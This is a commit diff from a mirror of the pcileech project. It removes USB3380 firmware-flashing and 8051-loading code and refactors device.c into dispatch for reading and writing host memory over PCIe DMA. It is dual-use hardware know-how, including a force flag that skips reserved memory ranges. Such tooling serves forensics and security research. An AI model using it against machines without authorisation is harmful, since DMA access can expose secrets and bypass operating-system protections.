mirror of
https://github.com/ufrisk/pcileech.git
synced 2026-09-03 07:26:53 +08:00
Version 2.0
This commit is contained in:
@@ -1,50 +0,0 @@
|
||||
// cpuflash.c : implementation related to 8051 CPU and EEPROM flashing.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "cpuflash.h"
|
||||
#include "device.h"
|
||||
|
||||
VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
BOOL result;
|
||||
printf("Flashing firmware ... \n");
|
||||
if(!pCfg->cbIn || pCfg->cbIn > 32768) {
|
||||
printf("Flash failed: failed to open file or invalid size\n");
|
||||
return;
|
||||
}
|
||||
if(!pCfg->fForceRW && (pCfg->pbIn[0] != 0x5a || *(WORD*)(pCfg->pbIn + 2) > (DWORD)pCfg->cbIn - 1)) {
|
||||
printf("Flash failed: invalid firmware signature or size\n");
|
||||
return;
|
||||
}
|
||||
result = DeviceFlashEEPROM(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn);
|
||||
if(!result) {
|
||||
printf("Flash failed: failed to write firmware to device\n");
|
||||
return;
|
||||
}
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
|
||||
VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
BOOL result;
|
||||
printf("Loading 8051 executable and starting ... \n");
|
||||
if(!pCfg->cbIn || pCfg->cbIn > 32768) {
|
||||
printf("8051 startup failed: failed to open file or invalid size\n");
|
||||
return;
|
||||
}
|
||||
result = Device8051Start(pDeviceData, pCfg->pbIn, (DWORD)pCfg->cbIn);
|
||||
if(!result) {
|
||||
printf("8051 startup failed: failed to write executable to device or starting 8051\n");
|
||||
return;
|
||||
}
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
|
||||
VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
printf("Stopping 8051 ... \n");
|
||||
Device8051Stop(pDeviceData);
|
||||
printf("SUCCESS!\n");
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
// cpuflash.h : definitions related to 8051 CPU and EEPROM flashing.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#ifndef __CPUFLASH_H__
|
||||
#define __CPUFLASH_H__
|
||||
#include "pcileech.h"
|
||||
|
||||
/*
|
||||
* Flash a new firmware into the onboard memory of the USB3380 card.
|
||||
* This may be dangerious and the device may stop working after a reflash!
|
||||
* -- pCfg = The configuration data containing the flash image filename.
|
||||
* -- pDeviceData
|
||||
*/
|
||||
VOID ActionFlash(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
|
||||
/*
|
||||
* Load a program into the 8051 CPU and start executing it.
|
||||
* -- pCfg = The configuration data containing the program image filename.
|
||||
* -- pDeviceData
|
||||
*/
|
||||
VOID Action8051Start(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
|
||||
/*
|
||||
* Stop the onboard 8051 CPU if its running.
|
||||
* -- pCfg
|
||||
* -- pDeviceData
|
||||
*/
|
||||
VOID Action8051Stop(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData);
|
||||
|
||||
#endif /* __CPUFLASH_H__ */
|
||||
@@ -1,444 +1,85 @@
|
||||
// device.c : implementation related to the USB3380 hardware device.
|
||||
// device.c : implementation related to hardware devices.
|
||||
//
|
||||
// (c) Ulf Frisk, 2016, 2017
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "device.h"
|
||||
#include "kmd.h"
|
||||
#include "util.h"
|
||||
#include <versionhelpers.h>
|
||||
#include "device3380.h"
|
||||
#include "device605.h"
|
||||
|
||||
#define CSR_BYTE0 0x01
|
||||
#define CSR_BYTE1 0x02
|
||||
#define CSR_BYTE2 0x04
|
||||
#define CSR_BYTE3 0x08
|
||||
#define CSR_BYTEALL 0x0f
|
||||
#define CSR_CONFIGSPACE_PCIE 0x00
|
||||
#define CSR_CONFIGSPACE_MEMM 0x10
|
||||
#define CSR_CONFIGSPACE_8051 0x20
|
||||
#define REG_USBSTAT 0x90
|
||||
#define REG_USBCTL2 0xc8
|
||||
#define REG_DMACTL_0 0x180
|
||||
#define REG_DMASTAT_0 0x184
|
||||
#define REG_DMACOUNT_0 0x190
|
||||
#define REG_DMAADDR_0 0x194
|
||||
#define REG_FIFOSTAT_0 0x32c
|
||||
#define REG_DMACTL_1 0x1a0
|
||||
#define REG_DMASTAT_1 0x1a4
|
||||
#define REG_DMACOUNT_1 0x1b0
|
||||
#define REG_DMAADDR_1 0x1b4
|
||||
#define REG_DMACTL_2 0x1c0
|
||||
#define REG_DMASTAT_2 0x1c4
|
||||
#define REG_DMACOUNT_2 0x1d0
|
||||
#define REG_DMAADDR_2 0x1d4
|
||||
#define REG_DMACTL_3 0x1e0
|
||||
#define REG_DMASTAT_3 0x1e4
|
||||
#define REG_DMACOUNT_3 0x1f0
|
||||
#define REG_DMAADDR_3 0x1f4
|
||||
#define REGPCI_STATCMD 0x04
|
||||
|
||||
typedef struct tdEP_INFO {
|
||||
UCHAR pipe;
|
||||
WORD rCTL;
|
||||
WORD rSTAT;
|
||||
WORD rCOUNT;
|
||||
WORD rADDR;
|
||||
} EP_INFO, *PEP_INFO;
|
||||
|
||||
EP_INFO CEP_INFO[3] = {
|
||||
{ .pipe = 0x84,.rCTL = REG_DMACTL_1,.rSTAT = REG_DMASTAT_1,.rCOUNT = REG_DMACOUNT_1,.rADDR = REG_DMAADDR_1 },
|
||||
{ .pipe = 0x86,.rCTL = REG_DMACTL_2,.rSTAT = REG_DMASTAT_2,.rCOUNT = REG_DMACOUNT_2,.rADDR = REG_DMAADDR_2 },
|
||||
{ .pipe = 0x88,.rCTL = REG_DMACTL_3,.rSTAT = REG_DMASTAT_3,.rCOUNT = REG_DMACOUNT_3,.rADDR = REG_DMAADDR_3 }
|
||||
};
|
||||
|
||||
typedef struct tdThreadDataReadEP {
|
||||
PDEVICE_DATA pDeviceData;
|
||||
QWORD qwAddr;
|
||||
PBYTE pb;
|
||||
DWORD cb;
|
||||
BOOL isFinished;
|
||||
BOOL result;
|
||||
PEP_INFO pep;
|
||||
} THREAD_DATA_READ_EP, *PTHREAD_DATA_READ_EP;
|
||||
|
||||
typedef struct _DEVICE_MEMORY_RANGE {
|
||||
DWORD BaseAddress;
|
||||
DWORD TopAddress;
|
||||
} DEVICE_MEMORY_RANGE, *PDEVICE_MEMORY_RANGE;
|
||||
|
||||
#define NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES 2
|
||||
DEVICE_MEMORY_RANGE CDEVICE_RESERVED_MEMORY_RANGES[NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES] = {
|
||||
{ .BaseAddress = 0x000A0000,.TopAddress = 0x000FFFFF }, // SMM LOWER
|
||||
{ .BaseAddress = 0xF0000000,.TopAddress = 0xFFFFFFFF }, // PCI SPACE
|
||||
};
|
||||
|
||||
BOOL _DeviceIsInReservedMemoryRange(_In_ QWORD qwAddr, _In_ DWORD cb)
|
||||
BOOL DeviceReadDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
PDEVICE_MEMORY_RANGE pmr;
|
||||
for(DWORD i = 0; i < NUMBER_OF_DEVICE_RESERVED_MEMORY_RANGES; i++) {
|
||||
pmr = &CDEVICE_RESERVED_MEMORY_RANGES[i];
|
||||
if(!((qwAddr > pmr->TopAddress) || (qwAddr + cb <= pmr->BaseAddress))) {
|
||||
return TRUE;
|
||||
}
|
||||
if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) {
|
||||
return DeviceReadDMA(ctx, qwAddr, pb, cb, 0) || DeviceReadDMA(ctx, qwAddr, pb, cb, 0);
|
||||
}
|
||||
if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) {
|
||||
return Device3380_ReadDMA(ctx, qwAddr, pb, cb);
|
||||
} else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) {
|
||||
return Device605_ReadDMA(ctx, qwAddr, pb, cb);
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL DeviceWriteCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _In_ DWORD dwRegValue, _In_ BYTE fCSR)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0x40, .u2 = 0, .u3 = wRegAddr & 0xFF, .u4 = (wRegAddr >> 8) & 0xFF, .dwRegValue = dwRegValue };
|
||||
if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned
|
||||
return WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL DeviceReadCsr(_In_ PDEVICE_DATA pDeviceData, _In_ WORD wRegAddr, _Out_ PDWORD pdwRegValue, _In_ BYTE fCSR)
|
||||
{
|
||||
DWORD cbTransferred;
|
||||
PIPE_SEND_CSR_WRITE ps = { .u1 = fCSR | 0xcf, .u2 = 0, .u3 = wRegAddr & 0xff, .u4 = (wRegAddr >> 8) & 0xff, .dwRegValue = 0 };
|
||||
if(wRegAddr & 0x03) { return FALSE; } // must be dword aligned
|
||||
return
|
||||
WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrOut, (PUCHAR)&ps, sizeof(ps), &cbTransferred, NULL) &&
|
||||
WinUsb_ReadPipe(pDeviceData->WinusbHandle, pDeviceData->PipeCsrIn, (PUCHAR)pdwRegValue, 4, &cbTransferred, NULL);
|
||||
}
|
||||
|
||||
BOOL _DeviceReadDMA_Retry(PTHREAD_DATA_READ_EP ptd)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD cbTransferred;
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCTL, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
DeviceWriteCsr(ptd->pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ???
|
||||
result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL);
|
||||
return result;
|
||||
}
|
||||
|
||||
VOID _DeviceReadDMA(PTHREAD_DATA_READ_EP ptd)
|
||||
{
|
||||
DWORD dwTimeout, cbTransferred;
|
||||
if(ptd->cb > ptd->pDeviceData->MaxSizeDmaIo) {
|
||||
ptd->result = FALSE;
|
||||
ptd->isFinished = TRUE;
|
||||
return;
|
||||
}
|
||||
// set EP timeout value on conservative usb2 assumptions (3 parallel reads, 35MB/s total speed)
|
||||
// (XMB * 1000 * 3) / (35 * 1024 * 1024) -> 0x2fc9 ~> 0x3000 :: 4k->64ms, 5.3M->520ms
|
||||
dwTimeout = 64 + ptd->cb / 0x3000;
|
||||
WinUsb_SetPipePolicy(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &dwTimeout);
|
||||
// perform memory read
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rADDR, (DWORD)ptd->qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rCOUNT, 0x40000000 | ptd->cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
DeviceWriteCsr(ptd->pDeviceData, ptd->pep->rSTAT, 0x080000c1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
ptd->result = WinUsb_ReadPipe(ptd->pDeviceData->WinusbHandle, ptd->pep->pipe, ptd->pb, ptd->cb, &cbTransferred, NULL);
|
||||
if(!ptd->result) {
|
||||
ptd->result = _DeviceReadDMA_Retry(ptd);
|
||||
}
|
||||
ptd->isFinished = TRUE;
|
||||
}
|
||||
|
||||
BOOL DeviceReadDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _Out_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
THREAD_DATA_READ_EP td[3];
|
||||
DWORD i, dwChunk;
|
||||
if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) {
|
||||
return DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0);
|
||||
}
|
||||
if(cb % 0x1000) { return FALSE; }
|
||||
if(cb > 0x01000000) { return FALSE; }
|
||||
if(qwAddr + cb > 0x100000000) { return FALSE; }
|
||||
if(_DeviceIsInReservedMemoryRange(qwAddr, cb) && !pDeviceData->IsAllowedAccessReservedAddress) { return FALSE; }
|
||||
ZeroMemory(td, sizeof(THREAD_DATA_READ_EP) * 3);
|
||||
if(cb < 0x3000 || !pDeviceData->IsAllowedMultiThreadDMA) {
|
||||
if(cb > 0x00800000) { // read max 8MB at a time.
|
||||
return
|
||||
DeviceReadDMA(pDeviceData, qwAddr, pb, 0x00800000, 0) &&
|
||||
DeviceReadDMA(pDeviceData, qwAddr + 0x00800000, pb + 0x00800000, cb - 0x00800000, 0);
|
||||
}
|
||||
td[0].pDeviceData = pDeviceData;
|
||||
td[0].pep = &CEP_INFO[0];
|
||||
td[0].qwAddr = qwAddr;
|
||||
td[0].pb = pb;
|
||||
td[0].cb = cb;
|
||||
_DeviceReadDMA(&td[0]);
|
||||
return td[0].result;
|
||||
} else {
|
||||
dwChunk = (cb / 3) & 0xfffff000;
|
||||
for(i = 0; i < 3; i++) {
|
||||
td[i].pDeviceData = pDeviceData;
|
||||
td[i].pep = &CEP_INFO[i];
|
||||
td[i].qwAddr = qwAddr; qwAddr += dwChunk;
|
||||
td[i].pb = pb; pb += dwChunk;
|
||||
if(i == 2) {
|
||||
td[i].cb = cb - 2 * dwChunk;
|
||||
_DeviceReadDMA(&td[i]);
|
||||
}
|
||||
else {
|
||||
td[i].cb = dwChunk;
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)_DeviceReadDMA, &td[i], 0, NULL);
|
||||
}
|
||||
}
|
||||
while(!td[0].isFinished || !td[1].isFinished || !td[2].isFinished) {
|
||||
SwitchToThread();
|
||||
}
|
||||
return td[0].result && td[1].result && td[2].result;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL DeviceWriteDMA(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
BOOL result;
|
||||
DWORD cbTransferred;
|
||||
if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) {
|
||||
return DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, 0) || DeviceReadDMA(pDeviceData, qwAddr, pb, cb, 0);
|
||||
}
|
||||
if(qwAddr + cb > 0x100000000) { return FALSE; }
|
||||
DeviceWriteCsr(pDeviceData, REG_FIFOSTAT_0, 0xffffffff, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // USB_FIFO0 FLUSH
|
||||
DeviceWriteCsr(pDeviceData, REG_DMACTL_0, 0xc2, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); // DMA_ENABLE
|
||||
DeviceWriteCsr(pDeviceData, REG_DMAADDR_0, (DWORD)qwAddr, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_ADDRESS
|
||||
DeviceWriteCsr(pDeviceData, REG_DMACOUNT_0, 0x00000000 | cb, CSR_CONFIGSPACE_MEMM | CSR_BYTEALL); // DMA_COUNT
|
||||
DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT
|
||||
DeviceWriteCsr(pDeviceData, REGPCI_STATCMD, 0x07, CSR_CONFIGSPACE_PCIE | CSR_BYTE0); // BUS_MASTER ??? needed ???
|
||||
result = WinUsb_WritePipe(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, pb, cb, &cbTransferred, NULL);
|
||||
DeviceWriteCsr(pDeviceData, REG_DMASTAT_0, 0x080000d1, CSR_CONFIGSPACE_MEMM | CSR_BYTE0 | CSR_BYTE3); // DMA_START & DMA_CLEAR_ABORT - must be here for 1st transfer to work.
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL DeviceWriteDMAVerify(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
BOOL DeviceWriteDMA(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
PBYTE pbV;
|
||||
BOOL result = DeviceWriteDMA(pDeviceData, qwAddr, pb, cb, flags);
|
||||
BOOL result = FALSE;
|
||||
if(flags & PCILEECH_MEM_FLAG_RETRYONFAIL) {
|
||||
return DeviceWriteDMA(ctx, qwAddr, pb, cb, 0) || DeviceWriteDMA(ctx, qwAddr, pb, cb, 0);
|
||||
}
|
||||
if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) {
|
||||
result = Device3380_WriteDMA(ctx, qwAddr, pb, cb);
|
||||
} else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) {
|
||||
result = Device605_WriteDMA(ctx, qwAddr, pb, cb);
|
||||
}
|
||||
if(!result) { return FALSE; }
|
||||
pbV = LocalAlloc(0, cb + 0x2000);
|
||||
if(!pbV) { return FALSE; }
|
||||
result =
|
||||
DeviceReadDMA(pDeviceData, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) &&
|
||||
(0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb));
|
||||
LocalFree(pbV);
|
||||
if(flags & PCILEECH_MEM_FLAG_VERIFYWRITE) {
|
||||
pbV = LocalAlloc(0, cb + 0x2000);
|
||||
if(!pbV) { return FALSE; }
|
||||
result =
|
||||
DeviceReadDMA(ctx, qwAddr & ~0xfff, pbV, (cb + 0xfff + (qwAddr & 0xfff)) & ~0xfff, flags) &&
|
||||
(0 == memcmp(pb, pbV + (qwAddr & 0xfff), cb));
|
||||
LocalFree(pbV);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL Device8051Start(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbProgram8051, _In_ DWORD cbProgram8051)
|
||||
VOID DeviceClose(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
WORD wAddr = 0;
|
||||
DWORD dwWriteValue;
|
||||
if(!pbProgram8051 || !cbProgram8051 || cbProgram8051 > 0x7FFF) { return FALSE; }
|
||||
while(wAddr < cbProgram8051) {
|
||||
dwWriteValue = *(DWORD*)(pbProgram8051 + wAddr); // TODO: may read out-of-buffer by max 3 bytes
|
||||
DeviceWriteCsr(pDeviceData, wAddr, dwWriteValue, CSR_CONFIGSPACE_8051 | CSR_BYTEALL); // write 8051 program memory (page 253).
|
||||
DeviceReadCsr(pDeviceData, wAddr, &dwWriteValue, CSR_CONFIGSPACE_8051);
|
||||
wAddr += 4;
|
||||
}
|
||||
DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM); // enable 8051
|
||||
dwWriteValue &= 0xFE;
|
||||
DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0); //DEVINIT - START 8051
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID Device8051Stop(_In_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
DWORD dwWriteValue;
|
||||
DeviceReadCsr(pDeviceData, 0x00, &dwWriteValue, CSR_CONFIGSPACE_MEMM);
|
||||
dwWriteValue |= 0x01;
|
||||
DeviceWriteCsr(pDeviceData, 0x00, dwWriteValue, CSR_CONFIGSPACE_MEMM | CSR_BYTE0);
|
||||
}
|
||||
|
||||
BOOL DeviceFlashEEPROM(_In_ PDEVICE_DATA pDeviceData, _In_ PBYTE pbEEPROM, _In_ DWORD cbEEPROM)
|
||||
{
|
||||
WORD wAddr = 0;
|
||||
DWORD dwWriteValue;
|
||||
if(cbEEPROM < 3 || cbEEPROM > 0x7FFF) {
|
||||
return FALSE; // too small or too large for 2 byte addressing mode
|
||||
}
|
||||
while(wAddr < cbEEPROM) {
|
||||
// initialize EEPROM for writing
|
||||
DeviceWriteCsr(pDeviceData, 0x260, 0x0000c000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // write enable
|
||||
DeviceWriteCsr(pDeviceData, 0x260, 0x00000000, CSR_CONFIGSPACE_PCIE | CSR_BYTE1); // off
|
||||
// write data
|
||||
dwWriteValue = *(DWORD*)(pbEEPROM + wAddr);
|
||||
DeviceWriteCsr(pDeviceData, 0x264, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTEALL);
|
||||
// write control register and wait for action to finish
|
||||
dwWriteValue = 0x03004000 | (wAddr >> 2);
|
||||
DeviceWriteCsr(pDeviceData, 0x260, dwWriteValue, CSR_CONFIGSPACE_PCIE | CSR_BYTE0 | CSR_BYTE1 | CSR_BYTE3); // write serial EEPROM buffer (page 250).
|
||||
while(dwWriteValue & 0xFF000000) { // wait write finish
|
||||
DeviceReadCsr(pDeviceData, 0x260, &dwWriteValue, CSR_CONFIGSPACE_PCIE);
|
||||
if(ctx->hDevice) {
|
||||
if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) {
|
||||
Device3380_Close(ctx);
|
||||
} else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) {
|
||||
Device605_Close(ctx);
|
||||
}
|
||||
wAddr += 4;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL DeviceRetrievePath(_Out_bytecap_(BufLen) LPWSTR wszDevicePath, _In_ ULONG BufLen)
|
||||
BOOL DeviceOpen(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
HDEVINFO deviceInfo;
|
||||
SP_DEVICE_INTERFACE_DATA interfaceData;
|
||||
PSP_DEVICE_INTERFACE_DETAIL_DATA detailData = NULL;
|
||||
ULONG length, requiredLength = 0;
|
||||
deviceInfo = SetupDiGetClassDevs(&GUID_DEVINTERFACE_android, NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);
|
||||
if(deviceInfo == INVALID_HANDLE_VALUE) {
|
||||
return FALSE;
|
||||
if(PCILEECH_DEVICE_USB3380 == ctx->cfg->tpDevice) {
|
||||
return Device3380_Open(ctx);
|
||||
} else if(PCILEECH_DEVICE_SP605 == ctx->cfg->tpDevice) {
|
||||
return Device605_Open(ctx);
|
||||
}
|
||||
interfaceData.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
|
||||
result = SetupDiEnumDeviceInterfaces(deviceInfo, NULL, &GUID_DEVINTERFACE_android, 0, &interfaceData);
|
||||
if(!result) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, NULL, 0, &requiredLength, NULL);
|
||||
if(!result && ERROR_INSUFFICIENT_BUFFER != GetLastError()) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
detailData = (PSP_DEVICE_INTERFACE_DETAIL_DATA)LocalAlloc(LMEM_FIXED, requiredLength);
|
||||
if(!detailData) {
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
detailData->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);
|
||||
length = requiredLength;
|
||||
result = SetupDiGetDeviceInterfaceDetail(deviceInfo, &interfaceData, detailData, length, &requiredLength, NULL);
|
||||
if(!result) {
|
||||
LocalFree(detailData);
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return FALSE;
|
||||
}
|
||||
wcscpy_s(wszDevicePath, BufLen, (LPWSTR)detailData->DevicePath);
|
||||
LocalFree(detailData);
|
||||
SetupDiDestroyDeviceInfoList(deviceInfo);
|
||||
return TRUE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID DeviceOpen_SetPipePolicy(_In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL DeviceWriteMEM(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddr, _In_ PBYTE pb, _In_ DWORD cb, _In_ QWORD flags)
|
||||
{
|
||||
BOOL boolTRUE = TRUE;
|
||||
ULONG ulTIMEOUT = 500; // ms
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaOut, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn1, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn2, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, AUTO_CLEAR_STALL, (ULONG)sizeof(BOOL), &boolTRUE);
|
||||
WinUsb_SetPipePolicy(pDeviceData->WinusbHandle, pDeviceData->PipeDmaIn3, PIPE_TRANSFER_TIMEOUT, (ULONG)sizeof(BOOL), &ulTIMEOUT);
|
||||
}
|
||||
|
||||
BOOL DeviceOpen_Open(_In_ PCONFIG pCfg, _Out_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
BOOL result;
|
||||
pDeviceData->HandlesOpen = FALSE;
|
||||
result = DeviceRetrievePath(pDeviceData->DevicePath, MAX_PATH);
|
||||
if(!result) {
|
||||
return FALSE;
|
||||
}
|
||||
pDeviceData->DeviceHandle = CreateFile(pDeviceData->DevicePath,
|
||||
GENERIC_WRITE | GENERIC_READ,
|
||||
FILE_SHARE_WRITE | FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
|
||||
NULL);
|
||||
if(INVALID_HANDLE_VALUE == pDeviceData->DeviceHandle) {
|
||||
return FALSE;
|
||||
}
|
||||
result = WinUsb_Initialize(pDeviceData->DeviceHandle, &pDeviceData->WinusbHandle);
|
||||
if(!result) {
|
||||
CloseHandle(pDeviceData->DeviceHandle);
|
||||
return FALSE;
|
||||
}
|
||||
pDeviceData->PipePciIn = 0x8e; // PCI in endpoint on the USB3380
|
||||
pDeviceData->PipePciOut = 0x0e; // PCI out endpoint on the USB3380
|
||||
pDeviceData->PipeCsrIn = 0x8d; // CSR in endpoint on the USB3380
|
||||
pDeviceData->PipeCsrOut = 0x0d; // CSR out endpoint on the USB3380
|
||||
pDeviceData->PipeDmaOut = 0x02; // GPEP0 endpoint on the USB3380
|
||||
pDeviceData->PipeDmaIn1 = 0x84; // GPEP1 endpoint on the USB3380
|
||||
pDeviceData->PipeDmaIn2 = 0x86; // GPEP2 endpoint on the USB3380
|
||||
pDeviceData->PipeDmaIn3 = 0x88; // GPEP3 endpoint on the USB3380
|
||||
pDeviceData->KMDHandle = NULL;
|
||||
DeviceOpen_SetPipePolicy(pDeviceData);
|
||||
pDeviceData->HandlesOpen = TRUE;
|
||||
pDeviceData->IsAllowedMultiThreadDMA = IsWindows8OrGreater(); // multi threaded DMA read fails on WIN7.
|
||||
pDeviceData->IsAllowedAccessReservedAddress = pCfg->fForceRW;
|
||||
pDeviceData->MaxSizeDmaIo = pCfg->qwMaxSizeDmaIo;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID DeviceClose(_Inout_ PDEVICE_DATA pDeviceData)
|
||||
{
|
||||
